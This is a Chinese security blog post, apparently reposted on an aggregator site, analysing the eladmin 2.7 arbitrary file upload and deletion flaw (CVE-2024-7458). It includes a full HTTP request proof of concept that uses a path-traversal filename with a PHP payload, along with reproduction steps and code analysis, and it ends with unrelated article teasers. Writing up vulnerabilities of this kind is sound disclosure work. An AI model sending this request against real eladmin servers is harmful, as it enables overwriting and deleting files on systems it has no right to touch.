eladmin (文件上传+文件删除)(cve-2024-7458)

news/2024/11/16 3:14:14/文章来源:https://www.cnblogs.com/0kooo-yz/p/18390990

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [360619623@qq.com]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

简介

版本

2.7

poc

下面两个接口都可以文件上传和删除并且接口的文件上传和文件删除的poc是一样的,后面分析为什么
/api/database/upload

POST /api/database/upload HTTP/1.1
Host: localhost:8000
Content-Length: 1157
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytxmNwmDQk3BFqZIU
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJhMGU1MGZmN2U3YzI0MzRmOTRiYmJmMGFhMDcyMDg2NCIsInVzZXIiOiJhZG1pbiIsInN1YiI6ImFkbWluIn0.91B6e2KdQ9Lyhy_LMsMHf1imNvoYknAJy1Ew3mhgwHBAvLzaW89lRcWCMVCAYlljPjufXeXymhwSrRb9x6-obA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Origin: http://localhost:8013
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8013/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="createBy"admin
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="createTime"time
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="id"71c07316ccc44a948db1d587caa9e805
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="jdbcUrl"jdbc:mysql://
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="name"ab
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="pwd"root
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="updateBy"admin
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="updateTime"time
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="userName"root
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="file"; filename="../../../../1.txt"
Content-Type: application/octet-stream<?php phpinfo();?>
------WebKitFormBoundarytxmNwmDQk3BFqZIU--

这个就不写了
/api/deploy/upload

分析

通过过搜索关键字upload找到接口/api/database/upload的源码
image

其中fileName参数是输入进来的文件名,后续和fileSavePath直接进行拼接。
image

其中fileSavePath是系统的临时文件目录
image

往后红框中的两句话及漏洞所在
FileUtil.del(executeFile);删除executeFile文件
file.transferTo(executeFile);上传executeFile文件
所以会先删除和上传文件名相同的文件,然后在创建一个相同的

通过过搜索关键字upload也可以找到接口/api/deploy/upload的源码
该接口漏洞成因也是和上面接口一样,就不做分析了
image

复现

/api/database/upload只复现这个接口的
1、找到漏洞位置,新建一个数据库,数据库随便填,密码和账号要正确。
image

2、选中数据库,点击执行脚本,然后上传图片或其他文件。记得用bp抓包之后好修改,如果发送到重放器token会失效上传不成功。其中表示token的参数是请求行中的Authorization参数。
image

3、修改数据包
image

4、首先看文件删除的效果
image

image

5、之后文件上传的效果
image

/api/deploy/upload第二个接口的上传位置
image

总结

我认为位置还是比较新奇的,不过值得注意的是系统文件模块中的接口文档中有很多接口可以利用。
文件操作函数del()、transferto()

参考

编号参考
https://github.com/elunez/eladmin/issues/851
项目地址
https://gitee.com/elunez/eladmin


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/790405.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20240820:组合计数(2)

组合数 定义:\(\begin{pmatrix}n\\m\end{pmatrix}\) 表示 \(n\) 元集的 \(m\) 元子集个数。 通项 \[\begin{pmatrix}n\\m\end{pmatrix} = \begin{cases} \dfrac{n!}{m!(n - m)!} & m \le n\\ \\ 0& \text{otherwise} \end{cases} \]考虑其组合意义: 把所有 \(n!\) 个…

WPF 从裸 Win 32 的 WM_Pointer 消息获取触摸点绘制笔迹

本文将告诉大家如何在 WPF 里面,接收裸 Win 32 的 WM_Pointer 消息,从消息里面获取触摸点信息,使用触摸点信息绘制简单的笔迹开始之前必须说明的是使用本文的方法不会带来什么优势,既不能带来笔迹书写上的加速,也不能带来笔迹效果的平滑,且代码复杂。本文唯一的作用只是让…

WPF 开启Pointer消息存在的坑

本文记录在 WPF 开启 Pointer 消息的坑屏幕键盘 启用了Pointer之后,调用 TextBox.Focus() 方法时,有一定的可能起不来屏幕键盘,必须点在控件之上才行,触摸在它之上才行 后续的 Win10 版本似乎修复了这个问题,暂时还没了解到具体是从哪个版本开始修复 使用屏幕绝对坐标而不…

MIUI系统,APKMirror Installer安装apkm的时候提示app installation failed Installation aborted解决方案

场景 我的手机是MIUI系统,通过APKMirror Installer安装apkm的时候提示app installation failed Installation aborted。 本来不想装了,心想可能是版本的兼容问题,但是我查看的SDK的版本和我的android是匹配的,不应该会失败,那是为什么呢? 解决方案 禁用掉开发者选项中的启…

Serilog文档翻译系列(三) - 基础配置

Serilog基础配置:创建日志记录器、接收器、输出模板、最低级别、覆盖每个接收器、增强器、过滤器、子日志记录器 Serilog 使用简单的 C# API 来配置日志记录。当需要外部配置时,可以(慎用)通过使用 Serilog.Settings.AppSettings 包或 Serilog.Settings.Configuration 包进…

全网最适合入门的面向对象编程教程:42 Python常用复合数据类型-collections容器数据类型

在Python中,collections模块提供了一组高效、功能强大的容器数据类型,扩展了内置的基础数据类型(如list、tuple、dict等),这些容器数据类型在处理特定问题时,能够提供更简洁、更高效的解决方案。全网最适合入门的面向对象编程教程:42 Python 常用复合数据类型-collectio…

MIT6.S081(2023 Fall) Lab2 Lab3 总结

Lab1 可以说就是一些编程相关的工作,只是程序中有一些操作系统相关的概念(例如进程、管道)。做完Lab1之后我有一个问题:系统调用时如何进行的,为什么我在user下调用sleep( ),就可以直接调用到内核中的sleep代码,我并没有看到两者是如何联系的。做完Lab2,这个问题得到了…

稍微改一下 Wiki.js 的界面 CSS

Wiki.js 默认样式那个样子真的太丑了,又黑又蓝。。。反正我自己不太中意就写了覆盖样式换了 换了纯白的风格,用在自己的站了,样子见下:相关链接仓库:https://github.com/AurLemon/wikijs-citizen-styles 下载:https://github.com/AurLemon/wikijs-citizen-styles/release…

第四天---RSA进阶题型

T1.小明文攻击 一.题目: from Crypto.Util.number import * from gmpy2 import *flag = bNSSCTF{******}p = getPrime(5120) q = getPrime(5120)n = p*q e = 97 phi = (p-1)*(q-1)m = bytes_to_long(flag) c = powmod(m, e, n)print(fn = {n}) print(fe = {e}) print(fc = {c}…

电路基础 ---- 负反馈放大电路的方框图分析法

1 方框图分析法 方框图如下:图中\(A_{uo}\)是一个电压输入的放大器的放大倍数,称为开环放大倍数。 \(F\)为反馈系数,是一个矢量,是指输出信号\(x_{o}\)的多少倍回送到放大器的输入端。 \(M\)为衰减系数,也是一个矢量,是指输入信号的多少倍,进入放大器的输入端。根据上述…

抖音直播间自动发评论-网页端浏览器插件

开发了一个浏览器插件,可以实现在抖音直播间页面获取到评论 并且可以循环自动发送评论,只需要把话术列表填写上,并且点击直播间循环发送按钮,就可以自动在直播间发送了十年开发经验程序员,离职全心创业中,历时三年开发出的产品《唯一客服系统》一款基于Golang+Vue开发的在…